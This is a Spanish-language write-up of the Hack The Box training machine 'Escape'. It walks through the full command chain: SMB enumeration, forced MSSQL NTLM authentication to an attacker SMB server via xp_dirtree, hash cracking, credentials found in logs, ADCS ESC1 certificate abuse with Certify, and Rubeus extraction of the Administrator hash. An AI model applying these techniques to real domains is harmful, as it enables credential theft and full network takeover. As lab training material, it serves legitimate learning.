Descripción
Escape es una máquina de dificultad media en Hack The Box enfocada en Active Directory (AD) y Microsoft SQL Server (MSSQL). El proceso de explotación comienza con una compartición SMB abierta que expone un archivo PDF con credenciales para MSSQL. Con estas credenciales, el atacante puede forzar la autenticación de MSSQL y capturar un hash Net-NTLMv2, el cual puede ser crackeado para obtener acceso al sistema.
Una vez dentro, se pueden revisar los logs de MSSQL, donde se encuentran credenciales de otro usuario con mayores privilegios. Con estas nuevas credenciales, la enumeración revela una plantilla de certificado vulnerable (ESC1) en Active Directory Certificate Services (ADCS). Esta vulnerabilidad permite solicitar un certificado en nombre del usuario Administrador, obteniendo así su hash y accediendo completamente al sistema con privilegios máximos.
Como alternativa, también es posible utilizar un ataque Silver Ticket desde el primer usuario comprometido para obtener acceso a archivos como Administrador a través de MSSQL.
Escape es una máquina que proporciona una excelente práctica en la explotación de MSSQL, SMB, y ADCS, mostrando técnicas avanzadas de escalada de privilegios en entornos Windows.
Enumeración
Comenzamos la resolución de la máquina Escape, realizando tareas de enumeración sobre el objetivo para detectar posibles vectores de vulnerabilidad.
Enumeración de puertos
nmap -p- --min-rate 2500 -Pn -n 10.10.11.202

nmap -p53,135,139,389,445,464,636,1433,3268,3269,5985,9389 -sVC -Pn -n --min-rate 2000 10.10.11.202

La enumeración de puertos de NMAP mostró del nombre de dominio sequel.htb y un certificado TLS para dc.sequel.htb. Vamos a este dominio al archivo /etc/hosts.

Enumeración SMB
nxc smb 10.10.11.202 -u '' -p '' --shares
nxc smb 10.10.11.202 -u guest -p '' --shares


Con el nombre de uusario ‘guest’ y sin contraseña, se obtiene acceso a los recursos compartidos.

Localizamos un archivo pdf en el recurso compartido /Public. Vamos a descargarlo en nuestra máquina de ataque.

En el PDF, localizamos la siguiente información.

PublicUser:GuestUserCantWrite1
Explotación
Las credenciales son válidas para el servicio MSSQL.

En este punto podemos compartir un recurso SMB controlado, para tratar de obtener el hash NTLM para intentar descifrarlo posteriormente.
Configuramos el servidor SMB.
impacket-smbserver smbFolder $(pwd) -smb2support

Posteriormente, en la terminal del servidor MSSQL ejecutamos el siguiente comando:
EXEC xp_dirtree '\\10.10.16.3\smbFolder'

En la terminal de MSSQL no vemos nada, pero en la terminal donde tenemos configurado el servidor SMB habremos capturado un hash nTLM.

Copiamos el hash en un archivo y lo desciframos utilziando para ello john the ripper.
john hash_ntlm_sql_svc.txt --wordlist='/home/kali/Downloads/rockyou.txt'

Obtenemos credenciales para el usuario sql_svc:REGGIE1234ronnie
El siguiente paso será determinar para que servicio son válidas estas credenciales.
nxc smb 10.10.11.202 -u sql_svc -p REGGIE1234ronnie
nxc winrm 10.10.11.202 -u sql_svc -p REGGIE1234ronnie

Las credenciales son válidas para SMB y WinRM.
Accedemos al objetivo utilizando las credenciales en el servicio WinRM.
Listaremos los usuarios del sistema.

Nuestro usuario actual no dispone de privilegios interesantes.
whoami /all

Si listamos el contenido del directorio raíz, encontramos un directorio SQLServer.

Encontramos un archivo con un registro de errores.

En las últimas líneas de este archivo encontramos dos logs interesantes.

Localizamos las credenciales para el usuario Ryan.Cooper:NuclearMosquito3
Pivotando a usuario Ryan.Cooper
Volvemos a revisar para que servicios son válidas las credenciales que localizamos en el archivo de logs.
nxc smb 10.10.11.202 -u Ryan.Cooper -p NuclearMosquito3
nxc winrm 10.10.11.202 -u Ryan.Cooper -p NuclearMosquito3

Accedemos al objetivo con las credenciales del nuevo usuario a través del servicio WinRM.
evil-winrm -i 10.10.11.202 -u Ryan.Cooper -p NuclearMosquito3
En el directorio /desktop del usuario Ryan.Cooper localizamos la flag user.txt

Elevación de privilegios
Volvemos a listar los privilegios del nuevo usuario
whoami /all

Un vector que deberemos analizar en un entorno de AD cuando tenemos acceso al objetivo y queremos elevar privilegios, es buscar Servicios de Certficados de active Directory (ADCS). Para enumerar esto, vamos a utilizar netexec.
nxc ldap 10.10.11.202 -u ryan.cooper -p NuclearMosquito3 -M adcs

Una vez hemos identificado que existen certificados en ejecución, lo siguiente que deberemos identificar es si existe alguna plantilla configurada de forma insegura. Para ello, utilizaremos la herramienta Certify.
De forma predeterminada, certify busca en grupos de privilegios bajos. Tmbién vamos a buscar en grupos del usuario actual.
.\Certify.exe find /vulnerable /currentuser
Después de listar toda la información sobre CA, localizamos un único certificado vulnerable.

Existe una template de certificado vulnerable llamada «USERAUTHENTICATION»
Vamos a generar un certificado para el usuario «administrator»
./Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication /altname:administrator

Convertimos el certificado generado a cert.pfx
openssl pkcs12 -in ./cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Transferimos el nuevo certificado generado a la máquina objetivo.
curl 10.10.16.3:8000/cert.pfx -O cert.pfx
Ahora con Rubeus, vamos a tratar de obtener el hash NTLM para el usuario Administrator.
.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /getcredentials /password:12345

Ahora, vamos a tratar de acceder al objetivo a través de WinRM con el hash NTLM y el usuario Administrator.


Y localizamos la flag root.txt para finalizar la resolución de la máquina Escape de Hack The Box
No responses yet